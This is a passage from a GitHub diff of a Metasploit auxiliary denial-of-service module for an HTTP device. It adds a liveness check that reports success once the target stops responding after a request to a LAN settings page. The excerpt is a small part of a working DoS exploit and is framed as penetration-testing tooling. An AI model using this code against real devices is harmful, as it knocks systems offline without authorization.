File tree Expand file tree Collapse file tree 1 file changed +17
-2
lines changed
modules/auxiliary/dos/http Expand file tree Collapse file tree 1 file changed +17
-2
lines changed Original file line number Diff line number Diff line change @@ -32,6 +32,15 @@ def initialize(info = {})
32
32
'DisclosureDate' => 'Jun 18 2013' ) )
33
33
end
34
34
35
+ def is_alive?
36
+ res = send_request_raw ( {
37
+ 'method' => 'GET' ,
38
+ 'uri' => '/' ,
39
+ } , 10 )
40
+
41
+ return !res . nil?
42
+ end
43
+
35
44
def run
36
45
37
46
begin
@@ -71,8 +80,14 @@ def run
71
80
send_request_cgi ( {
72
81
'method' => 'GET' ,
73
82
'uri' => '/English/pages_MacUS/lan_set_content.html'
74
- } ) #default timeout, we don't care about the response
75
- print_status ( "DoS payload sent to #{ rhost } :#{ rport } . Check the device for responsiveness." )
83
+ } , 5 ) #default timeout, we don't care about the response
84
+
85
+ # Check to see if it worked or not
86
+ if is_alive?
87
+ print_error ( "#{ rhost } :#{ rport } - Server is still alive" )
88
+ else
89
+ print_good ( "#{ rhost } :#{ rport } - Connection Refused: Success!" )
90
+ end
76
91
77
92
end
78
93
end
You can’t perform that action at this time.
0 commit comments